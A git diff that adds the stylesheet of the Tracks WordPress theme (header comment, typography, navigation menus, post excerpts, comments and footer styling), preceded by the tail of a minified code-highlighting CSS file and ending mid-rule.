.selector-class,figure.highlight.less .selector-id,figure.highlight.less .selector-tag{color:#795da3}.codeblock.scss .at_rule,.codeblock.scss .important,.codeblock.scss .tag,figure.highlight.scss .at_rule,figure.highlight.scss .important,figure.highlight.scss .tag{color:#a71d5d}.codeblock.scss .attribute,.codeblock.scss .function,.codeblock.scss .hexcolor,.codeblock.scss .number,figure.highlight.scss .attribute,figure.highlight.scss .function,figure.highlight.scss .hexcolor,figure.highlight.scss .number{color:#0086b3}.codeblock.scss .variable,figure.highlight.scss .variable{color:#333}.codeblock.scss .built_in,figure.highlight.scss .built_in{color:#df5000}.codeblock.scss .class,.codeblock.scss .id,.codeblock.scss .preprocessor,.codeblock.scss .pseudo,.codeblock.scss .selector-class,.codeblock.scss .selector-id,figure.highlight.scss .class,figure.highlight.scss .id,figure.highlight.scss .preprocessor,figure.highlight.scss .pseudo,figure.highlight.scss .selector-class,figure.highlight.scss .selector-id{color:#795da3}.codeblock.scss .selector-tag,.codeblock.scss .tag,figure.highlight.scss .selector-tag,figure.highlight.scss .tag{color:#63a35c}.codeblock.stylus .at_rule,figure.highlight.stylus .at_rule{color:#a71d5d}.codeblock.stylus .selector-tag,.codeblock.stylus .tag,figure.highlight.stylus .selector-tag,figure.highlight.stylus .tag{color:#63a35c}.codeblock.stylus .attribute,.codeblock.stylus .hexcolor,.codeblock.stylus .number,.codeblock.stylus .params,figure.highlight.stylus .attribute,figure.highlight.stylus .hexcolor,figure.highlight.stylus .number,figure.highlight.stylus .params{color:#0086b3}.codeblock.stylus .class,.codeblock.stylus .id,.codeblock.stylus .pseudo,.codeblock.stylus .selector-class,.codeblock.stylus .selector-id,.codeblock.stylus .selector-pseudo,.codeblock.stylus .title,figure.highlight.stylus .class,figure.highlight.stylus .id,figure.highlight.stylus .pseudo,figure.highlight.stylus .selector-class,figure.highlight.stylus .selector-id,figure.highlight.stylus .selector-pseudo,figure.highlight.stylus .title{color:#795da3}.codeblock.go .typename,figure.highlight.go .typename{color:#a71d5d}.codeblock.go .built_in,.codeblock.go .constant,figure.highlight.go .built_in,figure.highlight.go .constant{color:#0086b3}.codeblock.swift .preprocessor,figure.highlight.swift .preprocessor{color:#a71d5d}.codeblock.swift .title,figure.highlight.swift .title{color:#795da3}.codeblock.swift .built_in,.codeblock.swift .number,.codeblock.swift .type,figure.highlight.swift .built_in,figure.highlight.swift .number,figure.highlight.swift .type{color:#0086b3}.codeblock.yml .line .attr,figure.highlight.yml .line .attr{color:#63a35c}.codeblock.yml .line,.codeblock.yml .literal,.codeblock.yml .meta,.codeblock.yml .string,.codeblock.yml .type,figure.highlight.yml .line,figure.highlight.yml .literal,figure.highlight.yml .meta,figure.highlight.yml .string,figure.highlight.yml .type{color:#183691}.codeblock.yml .number,figure.highlight.yml .number{color:#0086b3} \ No newline at end of file diff --git a/public/css/style.css b/public/css/style.css new file mode 100644 index 00000000..9f39af2c --- /dev/null +++ b/public/css/style.css @@ -0,0 +1,2723 @@ +/* your styles go here */ +@charset "UTF-8"; +/* +Theme Name: Tracks +Theme URI: https://www.competethemes.com/tracks/ +Author: Compete Themes +Author URI: https://www.competethemes.com +Description: A bold, beautiful, and responsive theme. Tracks is perfect for personal blogs, magazines, and photography websites. It includes a logo uploader, over 50+ social media icons, search bar, comment display controls, premium layouts, and more. Tracks has a dark, simple, and minimalist design that makes it great for publish both text and image based content. Use it for a travel blog, online newspaper, video site, or podcast. As a free theme, you can use Tracks for as many projects as you’d like. Preview Tracks now on desktop, tablets, and mobile devices with the interactive live demo: https://www.competethemes.com/demos/?theme=tracks +Version: 1.59 +Tags: one-column, custom-logo, custom-menu, editor-style, featured-image-header, featured-images, footer-widgets, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready, blog, photography, portfolio +Text Domain: tracks +License: GNU General Public License v2 or later +License URI: http://www.gnu.org/licenses/gpl-2.0.html + +Tracks WordPress Theme, Copyright 2017 Compete Themes +Tracks is distributed under the terms of the GNU GPL +*/ +/*===== Variables =====*/ +/* Theme Colors */ +.site-title, .toggle-navigation i { + font-size: 1.625em; + line-height: 1.85; +} + +.wp-caption-text, .excerpt-meta, .entry-meta, .more-link, .pagination, .further-reading span, +.further-reading a, +.entry-categories span, +.entry-categories a, +.entry-tags span, +.entry-tags a, .author-meta .author span, .comments-number h2, .comment-author div, .design-credit, .singular-attachment .attachment-caption, .widget li, .menu-footer-items a, .menu-secondary-items a { + font-size: 0.813em; + line-height: 1.85; +} + +.entry-container, .comments { + padding: 0 5.55%; +} + +.site-title, .menu-unset > ul a, +.menu-primary-items a, .excerpt-meta, .entry-meta, .excerpt-title, .entry-title, .more-link, .pagination, .further-reading, +.entry-categories, +.entry-tags, .author-meta .author span, .comments-number h2, .comment-author .author-name, .site-footer h1, .design-credit, .widget-title, .widget li, .menu-footer-items a, .menu-secondary-items a { + text-transform: uppercase; + letter-spacing: 0.08em; + font-weight: 700; +} + +/* Social Media Brand Colors */ +/*===== Mixins =====*/ +/* grid stuff */ +/* Baseline Grid +background-image: linear-gradient(#fff 23px, #00fffc 24px, #fff 0px); +background-size: 1px 24px; /* this is a 24px baseline grid */ +/* Column Grid +background-color: gray; +background-image: linear-gradient(90deg, transparent 99%, rgba(255,255,255,.5) 0%); +background-size: 11.1%; /* This is at 6-columns -> just change this # */ +/*===== Basic Styles =====*/ +/* apply a natural box layout model to all elements */ +*, *:before, *:after { + box-sizing: border-box; +} + +body { + height: 100%; + font-size: 100%; + margin: 0; + padding: 0; + font-family: "raleway", sans-serif; + line-height: 1.5; + color: #4d4d4d; + background: #222; + -webkit-font-smoothing: antialiased; + word-wrap: break-word; + -ms-word-wrap: break-word; +} + +.overflow-container { + overflow: hidden; + position: relative; + height: auto; + min-height: 100%; +} + +.main { + background: #222; + padding-bottom: 1.5em; + margin: 0 auto; +} + +.loop-container:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +p { + margin: 1.5em 0; +} + +a { + text-decoration: none; + color: #222; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} +a:link { + color: #222; +} +a:visited, a:hover, a:active, a:focus { + color: black; +} + +article a { + text-decoration: underline; +} + +h1, h2, h3, h4, h5, h6 { + font-family: "raleway", sans-serif; + margin: 0; + padding: 0; + font-weight: 400; +} + +h1 { + font-size: 2.625em; + /* 42px / 16px */ + line-height: 1.143; +} + +h2 { + font-size: 2.25em; + /* 36px / 16px */ + line-height: 1.34; +} + +h3 { + font-size: 1.625em; + /* 26px / 16px */ + line-height: 1.85; +} + +h4 { + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.143; +} + +h5 { + font-size: 1.125em; + /* 18px / 16px */ + line-height: 1.34; +} + +h6 { + font-size: 1em; + line-height: 1.5; +} + +ul, +ol { + font-size: 1em; + padding: 0; + margin: 1.5em; +} +ul ul, ul ol, +ol ul, +ol ol { + margin: 0 1.5em; +} + +ul ul, +ol ol, +ul ol, +ol ul, +li li { + font-size: 1em; +} + +/* Markup styles */ +pre { + word-wrap: break-word; + -ms-word-wrap: break-word; + word-break: break-all; + white-space: pre-wrap; + padding: 0.75em; + background: #f5f5f5; +} + +code { + padding: 0 0.375em; + background: #f5f5f5; +} + +blockquote { + margin: 1.5em 0; + padding: 0 1.5em; + border-left: solid 0.75em #222; +} +blockquote cite { + display: block; + text-align: right; +} + +hr { + margin: 0.69em 0; +} + +/* Table styles */ +table { + border-spacing: 0; + border-collapse: collapse; + margin: 1.5em 0; +} + +td { + padding: 0.5em 0.75em; + border: solid 1px #4d4d4d; + line-height: 1.5; +} + +th { + padding: 0.5em 0.75em; + border: solid 1px #4d4d4d; + line-height: 1.5; +} + +/* Images */ +.alignright, +.alignleft, +.aligncenter, +.alignnone, +.size-auto, +.size-full, +.size-large, +.size-medium, +.size-thumbnail { + height: auto; + line-height: 0; + max-width: 100%; + max-width: calc(100% - 48px); +} +.alignright img, +.alignleft img, +.aligncenter img, +.alignnone img, +.size-auto img, +.size-full img, +.size-large img, +.size-medium img, +.size-thumbnail img { + max-width: 100%; +} + +.alignleft { + float: left; + margin: 0 1.5em 1.5em 0; +} + +.alignright { + float: right; + margin: 0 0 1.5em 1.5em; +} + +.aligncenter { + text-align: center; + margin: 1.5em auto; + display: block; + max-width: 100%; +} + +.alignnone { + margin: 1.5em; +} + +img { + height: auto; + line-height: 0; +} + +.singular-attachment img { + max-width: 100%; +} + +.wp-caption-text { + margin: 0; + color: #8c8c8c; +} + +.wp-caption.aligncenter { + max-width: none; + margin: 0 auto; + width: auto !important; +} + +/* Form styles */ +input[type="text"], +input[type="email"], +input[type="password"], +input[type="number"], +input[type="search"], +input[type="tel"], +input[type="url"], +textarea { + padding: 0.8em; + width: 100%; + max-width: 27.75em; + min-height: 45px; + outline: solid 1px #000; + border: none; + font-family: "raleway", sans-serif; + font-size: 0.813em; + line-height: 1.85; + border-radius: 0; + -webkit-appearance: none; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} + +textarea { + max-width: 41.625em; + overflow: auto; +} + +input[type="submit"] { + background: #222; + color: white; + max-width: 22.2em; + min-width: 11.1em; + padding: 0.8em; + min-height: 45px; + outline: none; + border: none; + font-family: "raleway", sans-serif; + font-size: 0.813em; + line-height: 1.85; + border-radius: 0; + -webkit-appearance: none; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} +input[type="submit"]:hover, input[type="submit"]:active, input[type="submit"]:focus { + cursor: pointer; + background: black; +} + +input[type="search"] { + margin-right: 1.5em; + padding-right: 0.375em; + /* so safari 'x' doesn't get cut off */ +} + +/* sticky */ +.excerpt.sticky .excerpt-container { + background: wheat; +} + +/* ie image border fix */ +a img { + border: none; +} + +.screen-reader-text { + position: absolute; + clip: rect(1px 1px 1px 1px); + /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + overflow: hidden; + height: 1px; + width: 1px; +} + +.skip-content { + position: absolute; + width: 100%; + background: #111; + color: #aaaaaa; + text-align: center; + padding: 0.375em; + top: -4.5em; + z-index: 19; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.08em; +} +.skip-content:active, .skip-content:focus { + top: 0; + color: #ffffff; +} + +.search .sticky { + background: white; +} + +.blog .main, +.archive .main, +.search .main { + width: 88.89%; + max-width: 1280px; +} +.blog #breadcrumbs, +.archive #breadcrumbs, +.search #breadcrumbs { + width: 100%; +} + +.entry { + max-width: 1280px; +} + +.infinite-loader, +#infinite-handle { + clear: both; +} + +#breadcrumbs { + margin: 1.5em auto; + width: 88.88%; + max-width: 1280px; + color: #aaaaaa; +} +#breadcrumbs a { + color: #fff; +} + +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) and (orientation: landscape) { + html { + -webkit-text-size-adjust: none; + /* none for no scaling */ + } +} +@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape) { + html { + -webkit-text-size-adjust: none; + /* none for no scaling */ + } +} +.site-header { + padding: 0.75em 5.55%; +} +.site-header .container { + margin: 0 auto; + max-width: 1280px; +} +.site-header:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.title-info { + float: left; + position: relative; + z-index: 29; +} + +.site-title { + letter-spacing: 0.06em; + opacity: 0.6; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.site-title span { + opacity: 0; + position: absolute; + top: -99em; +} +.site-title a { + color: white; +} +.site-title a:link, .site-title a:visited, .site-title a:hover, .site-title a:active, .site-title a:focus { + color: white; +} +.site-title img { + max-width: 5em; + max-height: 1.5em; +} +.site-title:hover, .site-title:active, .site-title:focus { + opacity: 1; +} + +.toggle-navigation { + position: relative; + float: right; + z-index: 29; + border: none; + background: none; + font-size: 1em; + margin: 0; + padding: 0 0 0 1.5em; + color: white; + opacity: 0.6; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.toggle-navigation:hover, .toggle-navigation:active, .toggle-navigation:focus { + opacity: 1; + cursor: pointer; + outline: none; +} + +.menu-primary, .menu-primary-tracks { + -webkit-transform: translateZ(0); + transform: translateZ(0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + position: absolute; + top: 0; + padding-top: 6em; + left: 100%; + height: 100%; + width: 100%; + z-index: 19; + background-image: -webkit-linear-gradient(#222 26px, transparent 24px, transparent 24px); + background-image: linear-gradient(#222 26px, transparent 24px, transparent 24px); + background-size: 1px 48px; + /* this is a 24px baseline grid */ + text-align: center; + -webkit-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; +} + +.menu-primary-tracks { + top: 1.5em; + left: -100%; + z-index: 19; +} + +.site-header .site-description { + opacity: 0; + color: white; +} + +.menu-unset > ul, +.menu-primary-items { + list-style: none; + opacity: 0; +} +.menu-unset > ul a, +.menu-primary-items a { + display: block; + color: white; + opacity: 0.6; + margin: 1.5em 0 0.75em 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.menu-unset > ul a:only-child, +.menu-primary-items a:only-child { + margin: 1.5em 0; +} +.menu-unset > ul a:link, .menu-unset > ul a:visited, +.menu-primary-items a:link, +.menu-primary-items a:visited { + color: white; +} +.menu-unset > ul a:hover, .menu-unset > ul a:active, .menu-unset > ul a:focus, +.menu-primary-items a:hover, +.menu-primary-items a:active, +.menu-primary-items a:focus { + opacity: 1; +} +.menu-unset > ul .sub-menu, +.menu-unset > ul .children, +.menu-primary-items .sub-menu, +.menu-primary-items .children { + list-style: none; +} +.menu-unset > ul .sub-menu li a, +.menu-unset > ul .children li a, +.menu-primary-items .sub-menu li a, +.menu-primary-items .children li a { + margin: 0.75em 0; + opacity: 0.4; +} +.menu-unset > ul .sub-menu li a:hover, .menu-unset > ul .sub-menu li a:active, .menu-unset > ul .sub-menu li a:focus, +.menu-unset > ul .children li a:hover, +.menu-unset > ul .children li a:active, +.menu-unset > ul .children li a:focus, +.menu-primary-items .sub-menu li a:hover, +.menu-primary-items .sub-menu li a:active, +.menu-primary-items .sub-menu li a:focus, +.menu-primary-items .children li a:hover, +.menu-primary-items .children li a:active, +.menu-primary-items .children li a:focus { + opacity: 1; +} + +.site-header.toggled .menu-unset > ul, +.site-header.toggled .menu-primary-items, +.site-header.toggled .site-description { + -webkit-transition: opacity 0.3s 0.3s ease; + transition: opacity 0.3s 0.3s ease; +} +.site-header.toggled .menu-primary, .site-header.toggled .menu-primary-tracks, +.site-header.toggled .menu-primary-tracks { + left: 0; +} +.site-header.toggled .menu-unset > ul, +.site-header.toggled .menu-primary-items { + opacity: 1; +} +.site-header.toggled .site-description { + opacity: 0.9; +} + +/* 800px */ +@media all and (min-width: 50em) { + .site-header { + position: relative; + z-index: 2; + padding: 1.5em 5.55% 2.25em; + border-top: solid 0.75em #111; + } + + .title-info { + margin-top: -0.75em; + } + + .site-title img { + max-width: 8em; + max-height: 3em; + } + + .toggle-navigation { + display: none; + } + + .menu-primary, .menu-primary-tracks { + background: none; + position: static; + width: 100%; + height: auto; + padding: 0; + margin: 0; + text-align: right; + min-height: 37px; + } + .menu-primary .site-description, .menu-primary-tracks .site-description { + position: absolute; + left: 0; + opacity: 0.6; + } + .menu-primary .site-description + div, .menu-primary-tracks .site-description + div { + margin-bottom: 0.75em; + } + + .ie9 .site-description { + left: 5.55%; + } + + .menu-primary-tracks { + display: none; + } + + .menu-unset > ul, + .menu-primary-items { + margin: 0 0 0 3em; + opacity: 1; + /* Tier 2 */ + /* Tier 3 */ + } + .menu-unset > ul li, + .menu-unset > ul a, + .menu-primary-items li, + .menu-primary-items a { + display: inline-block; + } + .menu-unset > ul li, + .menu-primary-items li { + position: relative; + } + .menu-unset > ul > li, + .menu-primary-items > li { + font-size: 0.813em; + line-height: 1.85; + } + .menu-unset > ul > li:after, + .menu-primary-items > li:after { + content: '/'; + position: absolute; + right: -6px; + top: 0; + color: white; + opacity: 0.6; + } + .menu-unset > ul > li:last-child:after, + .menu-primary-items > li:last-child:after { + display: none; + } + .menu-unset > ul > li:last-child a, + .menu-primary-items > li:last-child a { + margin-right: 0; + } + .menu-unset > ul a, + .menu-primary-items a { + opacity: 0.6; + margin: 0 0.75em; + } + .menu-unset > ul a:only-child, + .menu-primary-items a:only-child { + margin: 0 0.75em; + } + .menu-unset > ul ul, + .menu-primary-items ul { + position: absolute; + top: -9999px; + opacity: 0; + left: -70%; + right: -70%; + min-width: 100%; + max-width: 220px; + margin: 0 auto; + background: #111; + text-align: center; + -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease; + transition: opacity 0.3s ease, transform 0.3s ease; + -webkit-transform: scale(0.95); + transform: scale(0.95); + } + .menu-unset > ul ul li, + .menu-unset > ul ul a, + .menu-primary-items ul li, + .menu-primary-items ul a { + display: block; + } + .menu-unset > ul ul:hover, + .menu-primary-items ul:hover { + top: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-unset > ul ul a, + .menu-primary-items ul a { + padding: 0 1.5em; + } + .menu-unset > ul ul li:first-child > a, + .menu-primary-items ul li:first-child > a { + padding-top: 0.75em; + } + .menu-unset > ul ul li:last-child > a, + .menu-primary-items ul li:last-child > a { + padding-bottom: 0.75em; + } + .menu-unset > ul a:hover + ul, .menu-unset > ul a:active + ul, .menu-unset > ul a:focus + ul, + .menu-primary-items a:hover + ul, + .menu-primary-items a:active + ul, + .menu-primary-items a:focus + ul { + top: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-unset > ul ul ul, + .menu-primary-items ul ul { + left: auto; + right: 100%; + } + .menu-unset > ul ul ul:hover, + .menu-primary-items ul ul:hover { + top: -0.75em; + } + .menu-unset > ul ul a:hover + ul, .menu-unset > ul ul a:active + ul, .menu-unset > ul ul a:focus + ul, + .menu-primary-items ul a:hover + ul, + .menu-primary-items ul a:active + ul, + .menu-primary-items ul a:focus + ul { + top: -0.75em; + } +} +.excerpt-container { + padding: 0 5.55%; + position: relative; + z-index: 9; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} + +.excerpt { + text-align: center; + background: white; + overflow: hidden; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + margin-bottom: 1.5em; +} + +.featured-image { + position: relative; + height: 0; + padding-bottom: 50%; + background-position: 50%; + background-size: cover; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition: -webkit-transform 0.3s ease; + transition: transform 0.3s ease; +} + +.zoom .featured-image-link { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.zoom .featured-image-link:hover .featured-image, .zoom .featured-image-link:active .featured-image, .zoom .featured-image-link:focus .featured-image { + -webkit-transform: scale(1.05); + transform: scale(1.05); + -moz-transform: scale(1.05) rotate(0.02deg); +} + +.excerpt-meta, .entry-meta { + color: #aaaaaa; + padding-top: 1.84502em; +} +.excerpt-meta a, .entry-meta a { + color: #aaaaaa; +} +.excerpt-meta a:link, .entry-meta a:link, .excerpt-meta a:visited, .entry-meta a:visited { + color: #aaaaaa; +} +.excerpt-meta a:hover, .entry-meta a:hover, .excerpt-meta a:active, .entry-meta a:active, .excerpt-meta a:focus, .entry-meta a:focus { + color: #222; +} + +.excerpt-title, .entry-title { + letter-spacing: 0.04em; + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.143; +} +.excerpt-title a, .entry-title a { + color: #4d4d4d; +} +.excerpt-title a:link, .entry-title a:link, .excerpt-title a:visited, .entry-title a:visited { + color: #4d4d4d; +} +.excerpt-title a:hover, .entry-title a:hover, .excerpt-title a:active, .entry-title a:active, .excerpt-title a:focus, .entry-title a:focus { + color: #222; +} + +.excerpt-header, .entry-header { + position: relative; +} +.excerpt-header:after, .entry-header:after { + content: ''; + position: absolute; + background: #4d4d4d; + width: 4.5em; + height: 0.375em; + left: 0; + right: 0; + margin: 0 auto; + bottom: -1.5em; +} + +.excerpt-content { + padding: 1.5em 0; +} + +.more-link { + position: relative; + text-decoration: none; + color: #4d4d4d; + clear: both; +} +.more-link:link, .more-link:visited { + color: #4d4d4d; +} +.more-link:hover, .more-link:active, .more-link:focus { + color: #222; +} +.more-link:hover:after, .more-link:active:after, .more-link:focus:after { + -webkit-transform: scaleX(1); + transform: scaleX(1); +} +.more-link:after { + content: ''; + position: absolute; + width: 1.5em; + height: 3px; + background: #4d4d4d; + bottom: -0.75em; + left: 0; + right: 0; + margin: 0 auto; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; + -webkit-transform: scaleX(0); + transform: scaleX(0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} + +.pagination { + text-align: center; + padding: 1.5em; + margin-bottom: -1.5em; +} +.pagination a, +.pagination span { + margin: 0 0.375em; + color: #8c8c8c; +} +.pagination a:link, +.pagination a:visited { + color: #8c8c8c; +} +.pagination a:hover, .pagination:active, .pagination:focus { + color: #aaaaaa; +} + +.infinite-scroll .pagination { + display: none; +} + +/* 600 */ +@media all and (min-width: 37.5em) { + .excerpt { + background: #111; + margin-bottom: 1.5em; + } + .excerpt:first-child { + padding-top: 0; + } + + .excerpt-container { + background: white; + padding: 0 6.2%; + } + + .pagination { + padding: 0.75em 1.5em 3em; + } + + .excerpt-title, .entry-title { + font-size: 1.875em; + /* 30px */ + line-height: 1.6; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .excerpt-container { + width: 50%; + padding: 0 5.55%; + } + + .excerpt { + -webkit-transform: translateZ(0); + transform: translateZ(0); + /* fix weird chrome wiggle glitch */ + position: relative; + clear: both; + padding: 0; + margin-bottom: 1.5em; + opacity: 0.8; + } + .excerpt .featured-image { + -webkit-transform: translateZ(0); + transform: translateZ(0); + /* fixes FF glitch where image focuses & unfocuses */ + width: 50%; + width: calc(50% + 2px); + height: 100%; + padding-bottom: 0; + position: absolute; + right: -1px; + } + .excerpt:hover { + opacity: 1; + } + + .excerpt.even .excerpt-container { + float: right; + } + .excerpt.even .featured-image { + right: auto; + left: -1px; + } + .excerpt.even:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .rtl .excerpt.odd .excerpt-container { + float: left; + } + + .excerpt-meta, .entry-meta { + padding-top: 3.69004em; + } + + .excerpt-content { + padding-bottom: 3em; + } + + .full-without-featured:not(.has-post-thumbnail):not(.has-video):not(.has-featured-slider) .excerpt-container { + width: 100%; + } +} +.entry { + background: white; + padding-bottom: 1.5em; +} + +.entry-meta { + text-align: center; +} + +.entry-header { + text-align: center; +} + +.entry-meta, +.entry-header { + padding-left: 5.55%; + padding-right: 5.55%; +} + +.entry-content { + margin: 3em 0; +} +.entry-content img.full-width { + position: relative; + max-width: none; + width: 113%; + left: -6.5%; +} +.entry-content iframe { + max-width: 100%; +} +.entry-content:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.further-reading span, +.entry-categories span, +.entry-tags span { + display: block; +} +.further-reading a, +.entry-categories a, +.entry-tags a { + font-weight: 400; + color: #8c8c8c; +} +.further-reading a:link, .further-reading a:visited, +.entry-categories a:link, +.entry-categories a:visited, +.entry-tags a:link, +.entry-tags a:visited { + color: #8c8c8c; +} +.further-reading a:hover, .further-reading a:active, .further-reading a:focus, +.entry-categories a:hover, +.entry-categories a:active, +.entry-categories a:focus, +.entry-tags a:hover, +.entry-tags a:active, +.entry-tags a:focus { + color: black; +} + +.entry-categories a, +.entry-tags a { + margin-right: 0.375em; +} + +.entry-meta-bottom { + margin-bottom: 3em; +} + +.author-meta { + background: #222; + color: white; + padding: 1.5em; + margin: 3em 0 0; +} +.author-meta a { + color: #8c8c8c; +} +.author-meta a:link, .author-meta a:visited { + color: #8c8c8c; +} +.author-meta a:hover, .author-meta a:active, .author-meta a:focus { + color: white; +} +.author-meta p { + clear: both; +} +.author-meta .author img { + float: left; + margin: 0 0.75em 1.5em 0; + width: 4.5em; + height: 4.5em; + border-radius: 50%; +} +.author-meta .author a { + font-weight: 400; + letter-spacing: 0.1em; + display: block; +} +.author-meta .bio a { + margin-right: 0.375em; + display: inline-block; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .entry { + width: 88.88%; + margin: 0 auto; + } + + .entry-container { + padding: 0 5.55%; + } + + .further-reading p { + display: inline-block; + width: 50%; + vertical-align: top; + padding-right: 3em; + } + .further-reading .prev { + float: left; + } + .further-reading .next { + float: right; + text-align: right; + padding: 0 0 0 3em; + } + .further-reading:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .author-meta .author { + display: inline-block; + } + .author-meta .author img { + margin-bottom: 0; + } + .author-meta:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .bio { + float: right; + width: 50%; + } + .bio p { + margin-top: 0; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + .entry-container { + padding: 0 11.11%; + } + + .entry-meta, + .entry-header { + padding-left: 5.55%; + padding-right: 5.55%; + } + + .entry-content img.full-width { + width: 128.6%; + left: -14.3%; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .entry .featured-image:after { + position: absolute; + content: ''; + background: #222; + top: 0; + bottom: 0; + left: 0; + width: 100%; + opacity: 0.2; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; + } + .entry .featured-image:hover:after { + opacity: 0; + } + + .entry-container { + padding: 0 16.66%; + } + + .entry-header h1 { + font-size: 4.25em; + line-height: 1.06; + } + + .entry-meta { + font-size: 1em; + line-height: 1.5; + padding-top: 3em; + letter-spacing: 0.08em; + } + + .entry-content { + margin-top: 4.5em; + } + .entry-content img.full-width { + width: 150%; + left: -25%; + } +} +/* 1100px */ +@media all and (min-width: 68.75em) { + .entry-meta, + .entry-header { + padding-left: 11.11%; + padding-right: 11.11%; + } + + .entry-container { + padding: 0 19.435%; + position: relative; + } + + .entry-content img.full-width { + width: 163.6%; + left: -31.8%; + } + + .entry-meta-bottom.float .entry-tags, + .entry-meta-bottom.float .entry-categories { + position: absolute; + width: 16.66%; + left: 0; + top: 4.5em; + text-align: right; + padding-left: 5.55%; + } + .entry-meta-bottom.float .entry-tags a, + .entry-meta-bottom.float .entry-categories a { + font-weight: 700; + text-transform: none; + letter-spacing: 0; + display: block; + margin-right: 0; + } +} +/* 1200px */ +@media all and (min-width: 75em) { + .entry-container { + padding: 0 22.22%; + } + + .entry-content img.full-width { + width: 179.9%; + left: -39.95%; + } +} +.comments { + background: white; + padding-bottom: 3em; + max-width: 1280px; +} + +.comments-number { + padding: 1.5em 0; +} + +.comment-list { + list-style: none; + margin: 0; +} +.comment-list ul { + list-style: none; + margin: 3em 0 1.5em 3em; +} +.comment-list article ul { + list-style: disc; +} + +li.comment, +li.pingback { + margin: 3em 0; +} +li.comment:first-child, +li.pingback:first-child { + margin-top: 1.5em; +} + +.comment-author { + /* contains everything but the avatar */ +} +.comment-author img { + width: 4.5em; + height: 4.5em; + border-radius: 50%; + float: left; + margin: 0 0.75em 0 0; +} +.comment-author .author-name a { + text-decoration: none; + color: #4d4d4d; +} +.comment-author .author-name a:link, .comment-author .author-name a:visited { + color: #4d4d4d; +} +.comment-author .author-name a:hover, .comment-author .author-name a:active, .comment-author .author-name a:focus { + color: #222; +} +.comment-author:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.comment-reply-link, +.comment-edit-link { + color: #4d4d4d; + text-decoration: none; +} +.comment-reply-link:link, .comment-reply-link:visited, +.comment-edit-link:link, +.comment-edit-link:visited { + color: #4d4d4d; +} +.comment-reply-link:hover, .comment-reply-link:active, .comment-reply-link:focus, +.comment-edit-link:hover, +.comment-edit-link:active, +.comment-edit-link:focus { + color: black; +} + +.comment-edit-link:before { + content: " / "; +} + +.comment-content { + margin: 1.5em 0; +} + +.bypostauthor > article .author-name:after { + content: ' (author)'; + text-transform: none; + font-weight: 400; + letter-spacing: 0; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .comments { + padding: 0 5.55% 3em; + width: 88.88%; + margin: 0 auto; + } + + .comment-pagination p { + width: 50%; + display: inline-block; + vertical-align: top; + text-align: left; + } + .comment-pagination .next-comment { + text-align: right; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + .comments { + padding: 0 11.11% 3em; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .comments { + padding: 0 16.66% 3em; + } +} +/* 1000px */ +@media all and (min-width: 62.5em) { + li.comment article, + li.pingback article { + line-height: 0; + /* this is messing up the vertical rhythm */ + } + li.comment article:after, + li.pingback article:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .comment-author { + display: inline-block; + min-height: 4.5em; + } + .comment-author img { + float: none; + } + .comment-author div { + display: inline-block; + vertical-align: top; + } + .comment-author div div { + display: block; + } + + .comment-content { + float: right; + width: 50%; + margin: 0; + line-height: 1.5; + /* after turning it off on article */ + } + .comment-content p { + line-height: 1.5; + } + .comment-content p:first-child { + margin-top: 0; + } + .comment-content p:last-child { + margin-bottom: 0; + } +} +/* 1100px */ +@media all and (min-width: 68.75em) { + .comments { + padding: 0 19.435% 3em; + } +} +/* 1445px */ +@media all and (min-width: 1445px) { + .comments { + padding: 0 284px 3em; + } +} +.site-footer { + color: #8c8c8c; + text-align: center; + padding-top: 3em; + overflow: hidden; + clear: both; +} +.site-footer a { + color: #8c8c8c; +} +.site-footer h1 { + letter-spacing: 0.06em; + opacity: 0.4; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.site-footer h1:hover, .site-footer h1:active, .site-footer h1:focus { + opacity: 0.9; +} +.site-footer p { + margin: 0 0 1.5em; + opacity: 0.6; +} +.site-footer .social-media-icons { + margin: 0.75em 0 1.5em; +} +.site-footer .social-media-icons a { + opacity: 0.4; +} + +.sidebar-footer { + background: #1A1A1A; + margin-bottom: -48px; + padding: 1.5em 